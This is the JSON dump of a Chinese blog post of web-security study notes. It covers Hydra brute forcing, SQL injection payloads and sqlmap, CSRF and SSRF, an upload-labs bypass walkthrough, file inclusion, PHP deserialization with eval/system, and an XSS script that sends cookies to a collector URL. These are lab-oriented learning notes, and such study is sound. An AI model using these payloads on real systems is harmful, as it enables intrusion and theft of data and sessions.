[{"data":1,"prerenderedAt":856},["ShallowReactive",2],{"content:\u002F2026\u002Fweb-security-summary":3,"surround:\u002F2026\u002Fweb-security-summary":850},{"id":4,"title":5,"body":6,"categories":827,"date":829,"description":20,"draft":830,"extension":831,"image":832,"meta":833,"navigation":835,"path":836,"permalink":836,"published":837,"readingTime":838,"recommend":837,"references":837,"seo":843,"sitemap":844,"stem":845,"tags":846,"type":848,"updated":837,"__hash__":849},"content\u002Fposts\u002F2026\u002F第二阶段总结.md","一部分总结",{"type":7,"value":8,"toc":766},"minimark",[9,14,21,26,31,35,39,44,51,56,61,64,75,81,86,92,95,100,106,109,115,123,131,139,144,147,153,159,164,169,174,179,184,189,196,202,208,211,214,217,220,226,229,232,238,241,244,250,256,264,270,273,276,279,282,285,291,294,297,300,306,309,312,318,324,327,330,333,336,343,346,352,366,377,383,399,401,407,410,416,421,426,436,441,444,447,450,455,458,466,472,478,483,486,491,497,503,506,509,515,521,526,531,536,542,547,555,561,567,570,576,581,587,590,594,600,605,608,611,614,620,625,628,634,637,643,646,649,652,657,660,665,670,676,679,685,691,696,699,702,709,715,718,723,734,739,748,752,760],[10,11,13],"h1",{"id":12},"总结","总结：",[15,16,17],"p",{},[18,19,20],"span",{},"TOC",[22,23,25],"h3",{"id":24},"信息收集","信息收集：",[27,28,30],"h5",{"id":29},"google","Google",[27,32,34],{"id":33},"shodan","Shodan",[27,36,38],{"id":37},"fofa","FOFA",[40,41,43],"h4",{"id":42},"注释以下是kali工具hydra暴力破解的工具","----------注释：以下是kali工具Hydra暴力破解的工具",[22,45,47],{"id":46},"弱口令爆破",[48,49,50],"strong",{},"弱口令爆破:",[15,52,53],{},[48,54,55],{},"概念：网络安全中的弱口令是指哪些容易被他人猜测或者破解的简单的密码",[15,57,58],{},[48,59,60],{},"Hydra 是一款功能强大且被广泛使用的开源密码破解工具：",[15,62,63],{},"使用：",[65,66,72],"pre",{"className":67,"code":69,"language":70,"meta":71},[68],"language-shell","-l login 小写，指定用户名进行破解\n-L file 大写，指定用户的用户名字典\n-p pass 小写，用于指定密码破解，很少使用，一般采用密码字典。\n-P file 大写，用于指定密码字典。\n-e ns 额外的选项，n：空密码试探，s：使用指定账户和密码试探\n-M file 指定目标 ip 列表文件，批量破解。\n-o file 指定结果输出文件\n-f 找到第一对登录名或者密码的时候中止破解。\n-t tasks 同时运行的线程数，默认是 16\n-w time 设置最大超时时间，单位\n-v \u002F -V 显示详细过程\n-R 恢复爆破（如果破解中断了，下次执行 hydra -R \u002Fpath\u002Fto\u002Fhydra.restore 就可以继续任务。）破解 SSH 登录密码\n","shell","",[73,74,69],"code",{"__ignoreMap":71},[40,76,78],{"id":77},"爆破后登录",[48,79,80],{},"爆破后登录：",[15,82,83],{},[48,84,85],{},"Linux\u002FmacOS远程登录通常用SSH",[15,87,88,91],{},[48,89,90],{},"SSH连接："," 运行 systemctl status ssh",[15,93,94],{},"**linux链接linux：**ssh 用户名@目标ip",[15,96,97],{},[48,98,99],{},"Windows远程桌面默认用RDP",[15,101,102,105],{},[48,103,104],{},"RDP连接："," 运行 netstat -ano | findstr 3389 （查看3389端口）",[15,107,108],{},"**windows链接linux：**ssh 用户名@目标ip",[27,110,112],{"id":111},"破解mysql登录密码流程",[48,113,114],{},"破解mysql登录密码流程：",[65,116,121],{"className":117,"code":119,"language":120,"meta":71},[118],"language-sql","# 开发中，root 用户默认限制了远程登录， 所以需要创建新的有远程登录的账号进行使用\n\n# 1、创建账户\ncreate user '用户名'@'%' identified by '密码';\n# 举例：\ncreate user 'liuxiao'@'%' identified by '123abc@';\n#\tcreate 创建\n#\tuser 用户\n#\tidentified by  设置密码为...\n% --- 通配符 指 用户可以从任何地方进行登录\n\n# 2、给权限：\ngrant all on *.* to '用户名'@'%';\n# 举例：\ngrant all on *.* to 'liuxiao'@'%';\ngrant --- 授权\nall --- 所有的增删改查\non  --- 在...上\n*.* ---- 所有的库.所有的表\nto --- 给\n\n# 3、刷新：\nflush privileges;\n\n# 查看当前账号\nselect user();\n\n# 删除用户\ndrop user '用户名'@'%';\n\n# 查询所有用户\nSELECT user FROM mysql.user;\n","sql",[73,122,119],{"__ignoreMap":71},[65,124,129],{"className":125,"code":127,"language":128,"meta":71},[126],"language-bash","mysql -h IP -u用户 -p密码\n封锁后取消:\nmysqladmin -u root -p flush-hosts\n","bash",[73,130,127],{"__ignoreMap":71},[65,132,137],{"className":133,"code":135,"language":136},[134],"language-text","端口扫描：masscan  -p  端口  --range  目标主机IP\n","text",[73,138,135],{"__ignoreMap":71},[15,140,141],{},[48,142,143],{},"SQL注入（UNION注入）:",[15,145,146],{},"group_concat()：查询的结果是一行显示",[65,148,151],{"className":149,"code":150,"language":120,"meta":71},[118],"获取库名：\ndate=' union select database(),'','','\n\n获取表名：\nselect * from information_schema.tables;\n\nselect group_concat(table_name) from information_schema.tables where table_schema = '库名';\n获取字段名：\nselect * from 表名 where datestr=''union select(select group_concat(table_name) from information_schema.tables where table_schema = '库名'),'','','\n\nselect * from news where datestr=''union select(select * from information_schema.columns;\n\nselect group_concat(columns_name) from information_schema.columns where table_schema='库名' and table_name = '表名'),'','','\n获取具体信息：\nselect 多个字段 from 表名 where '1'  加个条件where '1'永远成立\n",[73,152,150],{"__ignoreMap":71},[22,154,156],{"id":155},"sql注入布尔盲注",[48,157,158],{},"SQL注入(布尔盲注)：",[15,160,161],{},[48,162,163],{},"当改变浏览器传给后台SQL参数后，浏览器没有显示对应内容时，无法使用union联合查询注入，这时候可以尝试以下能否使用布尔注入",[15,165,166],{},[48,167,168],{},"length()函数:返回字符串的长度。攻击者可以利用此函数判断查询结果的长度",[15,170,171],{},[48,172,173],{},"substr()函数:用来截取字符串。攻击者可以利用此函数截取查询结果的某个字符，并进行后续的判断",[15,175,176],{},[48,177,178],{},"ascii()函数:返回一个字符的ASCII码。将字符转换成ASCII码可以避免在payload中出现引号，还可以利用二分法方便更快的找到正确的数据",[15,180,181],{},[48,182,183],{},"limit x,y 设置从x行向下查询y行数据",[15,185,186],{},[48,187,188],{},"count():统计查询出来的数据数量",[15,190,191],{},[192,193],"img",{"alt":194,"src":195},"Snipaste_2025-11-01_14-42-17","\u002Fimages\u002FSnipaste_2025-11-01_14-42-17.png",[65,197,200],{"className":198,"code":199,"language":120,"meta":71},[118],"information_schema是一个包含了关于所有数据库的信息（比如表、列、数据类型等）的特殊数据库，而tables视图则包含了关于所有表格的信息\n例用id=2 and (数据库语句)来包含\n\n获取数据库：\n\nsubstr(database(),1,1)  #获取当前数据库的第一个字符\nselect ascii(substr(database(),1,1));  #获取ascii值\n\n爆破表名：\n(select count(table_name) from information_schema.tables where table_schema='库名')\u003C表的数量\n\n查询数据库中的第m-1(从零开始)个表(或字段)的第n个字符信息\nascii(substr((select table_name from information_schema.tables where table_schema='库名' limit m-1,1),n,1))\u003Cascii码数值\n\n爆破字段：\n(select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名';)\u003C字段数量\n\nascii(substr((select column_name from information_schema.columns where table_schema='数据库' and table_name='表名' limit m-1,1),n,1))\n\n获取字段内的真实数据：\nascii(substr((select 字段名 from 表名 limit 0,1),1,1))\n",[73,201,199],{"__ignoreMap":71},[22,203,205],{"id":204},"sql注入报错注入",[48,206,207],{},"SQL注入报错注入：",[15,209,210],{},"报错注入是一种常见的SQL注入方式，就是人为的制造错误条件，使得查询结果能够出现在错误信息中",[15,212,213],{},"floor()是一个数字函数，用于向下取整，返回小于或等于指定数值的最大整数",[15,215,216],{},"rand()是一个数字函数，用于生成一个0到1之间的随机浮点数",[15,218,219],{},"group by用于将查询结果按指定列分组",[65,221,224],{"className":222,"code":223,"language":120,"meta":71},[118],"?id=2 and (select 1 from (select count(*),concat(0x5e,(sql语句) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)\n\n# 注入获取数据库版本信息  \n#  0x5e   ====>   ^\n#  select version()  查询版本信息的指令\n#  floor(rand(0)*2)  随机生成数字0或者1\n原理讲解：\nselect 1 from (\n    select count(*),\n           concat(\n                0x5e, \n                (sql语句) ,\n                0x5e,\n                floor(rand(0)*2)\n           )x \n    from information_schema.tables \n    group by x\n)a;\n# version() 获取版本信息\n# concat(值1,值2...) 用于将两个或多个字符串值连接（拼接）成一个字符串。\n# version() 返回数据库服务器的版本信息。\n# floor() 用于将数值向下取整到最接近的整数\n\n查数据库名:\ndatabase()\n查表名:\nselect group_concat(table_name) from information_schema.tables where table_schema='库名'\n查字段名:\nselect group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'\n查字段数据:\nselect count(*),concat(0x5e,(select group_concat(字段名) from 表名\n\n\n",[73,225,223],{"__ignoreMap":71},[15,227,228],{},"基于XPath的报错注入:",[15,230,231],{},"extractvalue()函数：这个函数用于将XML文档中提取数据，当提供无效的XPath表达式时，它也会触发错误基于XML报错注入",[65,233,236],{"className":234,"code":235,"language":120,"meta":71},[118],"?id=2 and extractvalue(1, concat(0x5e, (select database()),0x5e))\nextractvalue(1, concat(0x5c, (sql执行想要的语法),0x5c))\n",[73,237,235],{"__ignoreMap":71},[15,239,240],{},"基于XML的报错注入:",[15,242,243],{},"updatexml()：这个函数用于修改XML文档中的数据，当提供错误的XPath表达式时，他也会触发一个错误，并可能返回数据库中的敏感信息",[65,245,248],{"className":246,"code":247,"language":120,"meta":71},[118],"and updatexml(1,concat(0x5e,(注入SQL语句),0x5e),1)\nand updatexml(1,concat(0x5e,(注入SQL语句),0x5e),1)),0x5e),1)\n",[73,249,247],{"__ignoreMap":71},[22,251,253],{"id":252},"sqlmap工具使用",[48,254,255],{},"sqlmap工具使用:",[65,257,262],{"className":258,"code":260,"language":261,"meta":71},[259],"language-txt","打开sqlmap.py当前文件夹，打开cmd\npython sqlmap.py -u \"网站\"\n--dbs可获取所有数据库名\n--current-db 获取当前数据库的名称\n-D 数据库名 指定目标「数据库」，常配合其他参数使用\n--tables 获取表\n-T 表名 --columns 指定表查询\n-C \"字段名1,...\" --dump 获取值，也就是表中的数据。\n\n布尔型盲注（Boolean-based blind）\n时间型盲注（Time-based blind）\n报错型注入（Error-based）\n联合查询注入（UNION query-based）\n堆叠查询注入（Stacked queries）\n\ncmd:\n Type: boolean-based blind   布尔类型\n Type: error-based         报错\n Type: time-based blind     时间\n Type: UNION query        联合\n web application technology: Apache 2.4.39, PHP 5.3.29  数据库版本\n","txt",[73,263,260],{"__ignoreMap":71},[22,265,267],{"id":266},"csrf漏洞跨站请求伪造",[48,268,269],{},"CSRF漏洞(跨站请求伪造):",[15,271,272],{},"CSRF攻击条件:",[15,274,275],{},"1.存在漏洞的目标网站",[15,277,278],{},"2.用户已登录状态",[15,280,281],{},"3.攻击者对协议包的深入了解",[15,283,284],{},"4.浏览器支持",[15,286,287,290],{},[48,288,289],{},"如何确认一个web系统存在CSRF漏洞",": 对目标网站增删改的地方进行标记，并观察其逻辑，判断请求是否可以被伪造。 例如修改账号信息时，不需要验证旧密码，或者进行其他身份验证，导致请求容易被伪造",[15,292,293],{},"get请求通过手写伪造",[15,295,296],{},"post请求的话 可以使用我们bp上专门的伪造",[15,298,299],{},"抓包->相关工具->CSRF PoC生成->拿到网页后->构造部署引诱点击",[22,301,303],{"id":302},"ssrf漏洞服务器端请求伪造",[48,304,305],{},"SSRF漏洞（服务器端请求伪造）:",[15,307,308],{},"SSRF是一种由攻击者构造请求，由服务器端发起请求的安全漏洞，本质上是属于信息泄露漏洞",[15,310,311],{},"攻击者想要访问主机B上的服务，但是由于主机B是属于内网主机无法直接访问。而主机A存在SSRF漏洞，这时攻击者可以借助主机A来发起SSRF攻击，通过主机A向主机B发起请求，从而获取主机B的一些信息",[15,313,314,317],{},[48,315,316],{},"curl_exec()",":通过 cURL 库发送 HTTP\u002FHTTPS 请求，支持 GET\u002FPOST\u002FHEAD 等复杂操作。",[15,319,320,323],{},[48,321,322],{},"file_get_contents()",":直接读取文件内容（支持本地文件和远程 URL，需allow_url_fopen=On）。",[15,325,326],{},"域网IP地址范围分三类，以下IP段为内网IP段",[15,328,329],{},"C类：192.168.1.0 - 192.168.255.255",[15,331,332],{},"B类：172.16.0.0 - 172.31.255.255",[15,334,335],{},"A类：10.0.0.0 - 10.255.255.255",[40,337,339,342],{"id":338},"_1file协议读取本地文件",[48,340,341],{},"1.file协议读取本地文件",":",[15,344,345],{},"file:\u002F\u002Fc:\\windows\\system32\\drivers\\etc\\hosts",[40,347,349],{"id":348},"_2-端口探测",[48,350,351],{},"2. 端口探测：",[15,353,354,357,358,365],{},[48,355,356],{},"语法1："," ",[359,360,364],"a",{"href":361,"rel":362},"http:\u002F\u002F%E4%B8%BB%E6%9C%BAip",[363],"nofollow","http:\u002F\u002F主机ip","   回显显示可以直接看出来(回显指页面反应速度)",[15,367,368,357,371,376],{},[48,369,370],{},"语法2：",[359,372,375],{"href":373,"rel":374},"https:\u002F\u002F%E4%B8%BB%E6%9C%BAip",[363],"https:\u002F\u002F主机ip","    不推荐",[40,378,380],{"id":379},"挖掘思路",[48,381,382],{},"挖掘思路：",[15,384,385,386,391,392,395,396],{},"简单来说，请求地址为如下方式，就可能存在SSRF漏洞 ",[359,387,390],{"href":388,"rel":389},"http:\u002F\u002Fwww.xx.com\u002Fa.php?url=%E5%9C%B0%E5%9D%80",[363],"http:\u002F\u002Fwww.xx.com\u002Fa.php?url=地址","  这个是一种常见的 ",[48,393,394],{},"服务端动态请求模式","，通常用于以下功能场景：",[48,397,398],{},"动态跳转、代理访问、权限控制、数据统计或参数化加载功能的后端接口，需注意安全校验",[40,400],{"id":71},[22,402,404],{"id":403},"文件上传",[48,405,406],{},"文件上传：",[10,408,409],{"id":409},"upload-labs",[65,411,414],{"className":412,"code":413,"language":136},[134],"pass-01:指定可上传文件后缀名，后用if判断,抓不到数据包(用不了burp)\n方式：Ctrl+s拿到源码，将判断改为1始终成立，在将表单提交用action=\"http:\u002F\u002F192.168.1.42\u002FPass-01\u002Findex.php\"进行指定，即可完成\n\npass-02:指定文件类型，可用burp抓包\n方式：用burp抓包将文件类型改成网站对应类型，最后放行\n\npass-03:吧.php等常用类型都ban了，可用burp抓包\n方式：网站默认解析.php3等文件，改一个没有被ban后缀就行，如果不是默认解析文件的后缀就只显示\n\npass-04:吧所有(除了.htaccess辅助文件)的常用后缀都ban了，可用burp抓包\n方式：用辅助文件先上传，在用包含了php语句的图片上传，这样就解析了php语句（如果直接上传图片文件就不会执行内涵php语句）\n\npass-05:在04的基础上吧.htaccess辅助文件也ban了\n方法：但发现没有限制文件的大小写，用burp改文件后缀（可改成.phP）\n\npass-06:在05的基础上限制了文件的大小写\n方法：但发现没有限制首尾去空，用burp在文件后缀多加一个空格\n\npass-07:在06的基础上限制首尾去空\n方法：但发现没有删除末尾的点，用burp在文件后缀多加一个点(英文的点)\n\npass-08:在07的基础上限制首尾去空\n方法：但发现没有限制去除字符串，用burp在文件后缀加::$DATA(要用英文，跳过完成后要从地址栏去掉用来跳过的::DATA)\n\npass-09:burp功能全ban了\n方法:还是用burp，在后缀名后加：点+空格+点\n\npass-10:将与黑名单匹配的后缀替换为空\n方法：双写跳过，用burp将例后缀改成.pphphp(去掉中间的php还是php)\n\npass-11:这次不给ban后缀名了，直接改成白名单，只允许指定后缀名\n方法：利用burp抓包，利用0x00截断（00不解析），将抓包即将上传的文件的地址后加（要执行的文件.php和%00），在改可上传的后缀名，打开图片后要在地址栏去掉00及后面的内容即可解析文件\n\npass-12:上传文件地址在burp的位置不一样了，不是像11题一样在请求头\n方法：和11题一样，但要指定%00右键-> 更改自定的内容 ->URL解码\n\ncopy tupian.jpg \u002Fb + info.php \u002Fa ccc.jpg\n\u002Fb表示以二进制复制数据\n\u002Fa表示以文本模式复制文件，将恶意代码拼接进去\n将正常图片和info.php中的恶意代码结合 生成新的包含木马的照片bb.png\npass-13,14,15需要用到有图片的恶意代码\npass-13,14,15:将带有图片上传，13，14，15只是文件后缀名不一样\n方法：拼接?file=upload\u002F生成的图片名字.png,这个样子在代码位置就会执行\n\npass-16:在13，14，15的基础上会屏蔽掉php代码\n方法：建议上传.gif， 因为老版本的gif渲染较差\n\npass-17:不屏蔽代码了，直接把恶意图片转走，使其无法访问\n方法：用burp将抓到的包转到intruder，恶意代码后加payload位置，以防文件重复，之后旁边选择数组选择次数，开始攻击，这样就会持续发送请求（此时就是比拼是它将文件图片传走得快，还是我们访问的快）\n\npass-18:与17一样要条件竞争\n方法：恶意的代码后加.7z的假的压缩格式\n\npass-19:多加了保存名称\n方式：用burp进行抓包,然后更改可用的后缀名最后把保存名称改成.php%0.jpg,将%0转成URL\n\npass-20:不限制后缀名，改成限制文件类型\n方法：用burp抓包，改文件类型，保存名称上，复制一份，一份后缀改成.php且name=（引号内后加[0]）,另一份去掉前部分只留下jpg且name=(引号内加[2])\n\n\u002F*\n本页面存在文件包含漏洞，用于测试图片马是否能正常运行！\n*\u002F\n\u003C?php\nheader(\"Content-Type:text\u002Fhtml;charset=utf-8\");\n$file = $_GET['file'];\nif(isset($file)){\n    include $file;\n}else{\n    show_source(__file__);\n}\n?>\n\n\n\n\n以下这些是用来限制burp的使用的\n $file_name = trim($_FILES['upload_file']['name']);\n        $file_name = deldot($file_name);\u002F\u002F删除文件名末尾的点\n        $file_ext = strtolower($file_ext); \u002F\u002F转换为小写\n        $file_ext = strrchr($file_name, '.');\n        $file_ext = str_ireplace('::$DATA', '', $file_ext);\u002F\u002F去除字符串::$DATA\n        $file_ext = trim($file_ext); \u002F\u002F首尾去空\n",[73,415,413],{"__ignoreMap":71},[22,417,419,342],{"id":418},"文件包含与伪协议",[48,420,418],{},[15,422,423],{},[48,424,425],{},"文件包含漏洞，包括本地文件包含（LFI）和远程文件包含（RFI，尽管RFI通常被禁用或限制）",[15,427,428,431,432,435],{},[48,429,430],{},"本地文件包含","（LFI）：攻击者需要先上传恶意文件，然后通过文件包含漏洞读取或执行它   包含的文件在本地的 ",[48,433,434],{},"远程文件包含","（RFI）：在一些配置不当的服务器上，攻击者可以通过URL引用远程服务器（攻击者的服务器）上的文件来执行。这通常被禁用，因为风险极高  包含的文件像在公司的服务器上的没在本地的",[15,437,438,440],{},[48,439,430],{},"（LFI）：",[15,442,443],{},"无限制，上传什么都可以,用file",[15,445,446],{},"有限制，txt会转化成.txt.html,用%00绕过",[15,448,449],{},"info.php.html 我们可以使用00截断的方法去绕过",[15,451,452,454],{},[48,453,434],{},"（RFI）：",[15,456,457],{},"通过拼接后半部分访问",[15,459,460,461],{},"访问需要写全地址filename=",[359,462,465],{"href":463,"rel":464},"http:\u002F\u002F%E6%9C%AC%E6%9C%BAip\u002F%E6%96%87%E4%BB%B6%E5%90%8D.txt",[363],"http:\u002F\u002F本机ip\u002F文件名.txt",[40,467,469],{"id":468},"伪协议",[48,470,471],{},"伪协议：",[65,473,476],{"className":474,"code":475,"language":136},[134],"php支持协议\nfile:\u002F\u002F — 访问本地文件系统\nhttp:\u002F\u002F — 访问 HTTP(s) 网址\nftp:\u002F\u002F — 访问 FTP(s) URLs\nphp:\u002F\u002F — 访问各个输入\u002F输出流（I\u002FO streams）\nzlib:\u002F\u002F — 压缩流\ndata:\u002F\u002F — 数据（RFC 2397）\nglob:\u002F\u002F — 查找匹配的文件路径模式\nphar:\u002F\u002F — PHP 归档\nssh2:\u002F\u002F — Secure Shell 2\nrar:\u002F\u002F — RAR\nogg:\u002F\u002F — 音频流\nexpect:\u002F\u002F — 处理交互式的流\n",[73,477,475],{"__ignoreMap":71},[40,479,481],{"id":480},"input协议",[48,482,480],{},[15,484,485],{},"php：\u002F\u002Finput  \u002F\u002Finput协议 在 PHP 中，php:\u002F\u002Finput 是一个伪协议流，它允许访问请求的原始数据的只读流，通常用于获取 POST 请求中没有经过解析的原始数据",[40,487,489],{"id":488},"file协议",[48,490,488],{},[15,492,493,494],{},"file:\u002F\u002F file:\u002F\u002F 伪协议允许你访问本地文件系统中的文件。这可以用于读取文件内容，",[48,495,496],{},"但也可以被恶意利用来访问敏感文件",[40,498,500],{"id":499},"data协议",[48,501,502],{},"data:\u002F\u002F协议",[15,504,505],{},"data:\u002F\u002F 伪协议允许你通过URL包含数据，这些数据被当作文件内容。通常可以用来执行 PHP 代码",[40,507],{"id":508},"_1",[22,510,512,514],{"id":511},"xss跨站脚本攻击",[48,513,511],{},"：",[40,516,518],{"id":517},"反射性与存储型和dom型xss",[48,519,520],{},"反射性与存储型和DOM型XSS",[15,522,523],{},[48,524,525],{},"XSS攻击主要可以分为三种类型：反射型、存储型和DOM型。每种类型在攻击方式和防护策略上有所不同。很容易混淆的是反射和DOM类型",[40,527,529,514],{"id":528},"如何判断网站上有xss漏洞",[48,530,528],{},[15,532,533],{},[48,534,535],{},"最简单的就是执行javascript弹出代码，若成功弹出说明网站对于JavaScript代码没有过滤(弹窗(恶意代码)在当前页面执行说明该页面为回显点)",[40,537,539],{"id":538},"_1反射性xss",[48,540,541],{},"1.反射性XSS",[15,543,544],{},[48,545,546],{},"反射性XSS攻击是指攻击者将恶意脚本作为参数嵌入到URL中，当用户访问该恶意URL时，服务器会直接将恶意脚本作为响应内容返回给浏览器，浏览器解析并执行其中的恶意脚本，这种攻击的特点是攻击代码不会被存储到服务器端，只是在请求和响应的过程中临时反射回来。",[65,548,553],{"className":549,"code":551,"language":552,"meta":71},[550],"language-javascript","\u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.open('GET', 'http:\u002F\u002Flocalhost:81\u002Fxss1\u002Fget_cookie.php?cookie=' + encodeURIComponent(document.cookie), true);\n    xhr.send();\n\u003C\u002Fscript>\n","javascript",[73,554,551],{"__ignoreMap":71},[15,556,557],{},[192,558],{"alt":559,"src":560},"Snipaste_2025-12-06_16-20-45","\u002Fimages\u002FSnipaste_2025-12-06_16-20-45.png",[40,562,564],{"id":563},"_2存储型xss",[48,565,566],{},"2.存储型XSS",[15,568,569],{},"特点：攻击脚本会被永久的存储在服务器上，比如留言板，评论区等，每当其他用户访问包含恶意脚本的页面时，脚本都会被执行 比如：攻击者在某个微步的评论区留下包含js代码的评论，每当用户访问评论的时候，恶意脚本都会被执行",[40,571,573],{"id":572},"_3dom型xss",[48,574,575],{},"3.DOM型XSS",[15,577,578],{},[48,579,580],{},"特点：DOM型XSS的攻击脚本不需要服务器参与，而是直接通过修改页面的DOM结构来执行恶意脚本",[65,582,585],{"className":583,"code":584,"language":552,"meta":71},[550],"代码构造：\nalert('你已被攻击！'); window.location.href = 'http:\u002F\u002F106.52.249.22:10001\u002Fvul\u002Fxss\u002Fxss_stored.php';\nalert('你已被攻击！'); window.location.replace('https:\u002F\u002Fwww.baidu.com\u002F');\n两个恶意代码的区别，replace 方法会用新的页面替换当前页面的历史记录，用户无法通过浏览器的 “后退” 按钮回到原页面\nsetTimeout(代码, 5000)可以加时间5秒\n\n",[73,586,584],{"__ignoreMap":71},[15,588,589],{},"DOM型XSS攻击总结： DOM 型与服务器没有太大的关系，不需要和服务器交互，攻击纯粹发生在客户端",[40,591,593],{"id":592},"注释以下内容需要一些php以及windowlinux基本命令","--------注释：以下内容需要一些php，以及window,linux基本命令",[22,595,597],{"id":596},"rce漏洞",[48,598,599],{},"RCE漏洞：",[15,601,602],{},[48,603,604],{},"不安全的函数和命令：如eval(),system(),exec(),shell_exec()等，这些函数或命令在php，python等脚本语言中常被执行动态代码或命令",[15,606,607],{},"**eval():**php",[15,609,610],{},"**system():**cmd",[15,612,613],{},"**exec():**Linux中的一个内置shell命令",[15,615,616,619],{},[48,617,618],{},"shell_exec():"," 是PHP中的一个函数，用于通过shell执行命令并将完整的输出以字符串的方式返回",[40,621,623,514],{"id":622},"管道符",[48,624,622],{},[15,626,627],{},"windows管道符",[15,629,630],{},[192,631],{"alt":632,"src":633},"Snipaste_2025-12-06_16-27-57","\u002Fimages\u002FSnipaste_2025-12-06_16-27-57.png",[15,635,636],{},"Linux管道符",[15,638,639],{},[192,640],{"alt":641,"src":642},"Snipaste_2025-12-06_16-28-07","\u002Fimages\u002FSnipaste_2025-12-06_16-28-07.png",[15,644,645],{},"管道符用来执行一些命令",[15,647,648],{},"使用我们linux中的查看文件中内容的指令，cat",[40,650],{"id":651},"_2",[22,653,655],{"id":654},"反序列化和反序列化概述",[48,656,654],{},[15,658,659],{},"序列化和反序列化是编程中用于数据处理和存储的重要概念，序列化是指把变量的数据转化为字符串，这里的转换和普通的类型转换有所不同，其核心目的在于把数据以字符串形式保存起来，例如存储为文本文件，这样做的好处是，数据能够在不同环境中进行传输和存储，之后，在需要使用这些数据时，可以借助反序列化操作，将字符串恢复为原始的数据结构。这一机制在数据持久化存储，数据传输等场景中应用广泛。",[15,661,662],{},[48,663,664],{},"serialize()：此函数可将一个对象或者变量转化为字符串。在序列化过程中，PHP 会保留对象的结构和属性信息，将其编码成特定格式的字符串。例如，对于一个自定义类的实例，序列化后会生成包含类名、属性名和属性值等信息的字符串。",[15,666,667],{},[48,668,669],{},"unserialize()： 该函数与 serialize() 相反，它能把通过 serialize() 生成的字符串还原为原始的对象或变量。在反序列化时，PHP 会根据字符串中的编码信息，重新构建出对象的结构和属性，使数据恢复到序列化之前的状态。",[65,671,674],{"className":672,"code":673,"language":136},[134],"php class中的定义\nprivate（私有成员）\n访问范围：仅能在当前类的内部访问，类的外部、子类（继承的类）都无法直接访问\nprotected（受保护成员）\n访问范围：当前类内部 + 子类（继承的类）内部可以访问，但类的外部无法直接访问。\n",[73,675,673],{"__ignoreMap":71},[15,677,678],{},"序列化内容的详解：",[65,680,683],{"className":681,"code":682,"language":128,"meta":71},[126],"O:6:\"Person\":3:{s:4:\"name\";s:6:\"张三\";s:11:\"Personage\";i:20;s:6:\"*sex\";s:3:\"boy\";}\n\n\n\nO : 自定义对象 object\n6 : 类名的长度\n:3 : 3个成员属性\ns:4 : 你的成员属性名 长度为4 ,并且是一个字符串  string\ns:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位\ns:11:\"Personage\" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.\ni:20 : 20是age的属性值 , i是代表 integer类型\n\ns:6:\"*sex\"; sex这个属性是一个受保护的属性,特征就是 * 号\n\ns:3:\"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值\n\n为什么是s:11和s:6：PHP在序列化含有private和protected权限的变量时，会在变量名前添加ASCII码为0的不可见字符，表现为`\\0类名\\0属性名`和`\\0*\\0属性名`。这些字符在显示和输出时可能不易察觉，\\0是1字节\n",[73,684,682],{"__ignoreMap":71},[40,686,688],{"id":687},"二php常见的魔术方法",[48,689,690],{},"二：PHP常见的魔术方法：",[27,692,694],{"id":693},"__construct",[48,695,693],{},[15,697,698],{},"用于在创建对象时自动调用，主要用于初始化对象",[27,700,701],{"id":701},"__destruct",[15,703,704,705,708],{},"它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。",[73,706,707],{"code":707},"__destruct()"," 方法常用于执行一些清理操作，比如关闭文件、释放资源等",[27,710,712],{"id":711},"__tostring",[48,713,714],{},"__toString",[15,716,717],{},"它允许一个类对象在被当作字符串处理时自动调用该方法，并返回该对象的一个字符串表示。这通常用于调试目的，或者当你需要将对象以字符串形式输出时",[27,719,721],{"id":720},"__wakeup",[48,722,720],{},[15,724,725,726,729,730,733],{},"当你对一个对象调用 ",[73,727,728],{"code":728},"unserialize()"," 时，PHP 会先检查该类是否定义了 ",[73,731,732],{"code":732},"__wakeup()"," 方法，如果有，则会优先执行它",[27,735,737],{"id":736},"__sleep",[48,738,736],{},[15,740,725,741,729,744,747],{},[73,742,743],{"code":743},"serialize()",[73,745,746],{"code":746},"__sleep()"," 方法，如果有，则会优先执行它，再根据它的返回值决定哪些属性需要被序列化",[40,749,751],{"id":750},"php反序列化漏洞简单运用","PHP反序列化漏洞简单运用",[65,753,758],{"className":754,"code":756,"language":757,"meta":71},[755],"language-php","\u003C?php\nclass one\n{\n    public $b=\"xxxxx\";\n\n    function action()\n    {\n        eval($this->b);\u002F\u002Feval函数这边得作用是\n        \u002F\u002Feval函数将里边得字符串当作代码去执行\n    }\n}\n","php",[73,759,756],{"__ignoreMap":71},[65,761,764],{"className":762,"code":763,"language":757,"meta":71},[755],"\u003C?php\n\nclass one\n{\n    public $b = \"system('ipconfig');\";\n    \u002F\u002F这边给system('ipconfig');指令加上引号  等同于把system('ipconfig');看作一个字符串\n    \u002F\u002Feval(system('ipconfig'));\n    \u002F\u002F这样的话 我们代码指令和电脑系统指令都可以去运行\n}\n$a = new one();   \u002F\u002F这边去调用我们的one类  然后存在我们的变量a中\n\u002F\u002F再去进行反序列化\necho serialize($a);  \u002F\u002F这样的话我们就能看见\necho urlencode(serialize($a));\neval(system('ipconfig'));\n?>\n",[73,765,763],{"__ignoreMap":71},{"title":71,"searchDepth":767,"depth":767,"links":768},4,[769,777,782,783,784,785,786,793,794,802,812,817],{"id":24,"depth":770,"text":25,"children":771},3,[772,774,775,776],{"id":29,"depth":773,"text":30},5,{"id":33,"depth":773,"text":34},{"id":37,"depth":773,"text":38},{"id":42,"depth":767,"text":43},{"id":46,"depth":770,"text":50,"children":778},[779],{"id":77,"depth":767,"text":80,"children":780},[781],{"id":111,"depth":773,"text":114},{"id":155,"depth":770,"text":158},{"id":204,"depth":770,"text":207},{"id":252,"depth":770,"text":255},{"id":266,"depth":770,"text":269},{"id":302,"depth":770,"text":305,"children":787},[788,790,791,792],{"id":338,"depth":767,"text":789},"1.file协议读取本地文件:",{"id":348,"depth":767,"text":351},{"id":379,"depth":767,"text":382},{"id":71,"depth":767,"text":71},{"id":403,"depth":770,"text":406},{"id":418,"depth":770,"text":795,"children":796},"文件包含与伪协议:",[797,798,799,800,801],{"id":468,"depth":767,"text":471},{"id":480,"depth":767,"text":480},{"id":488,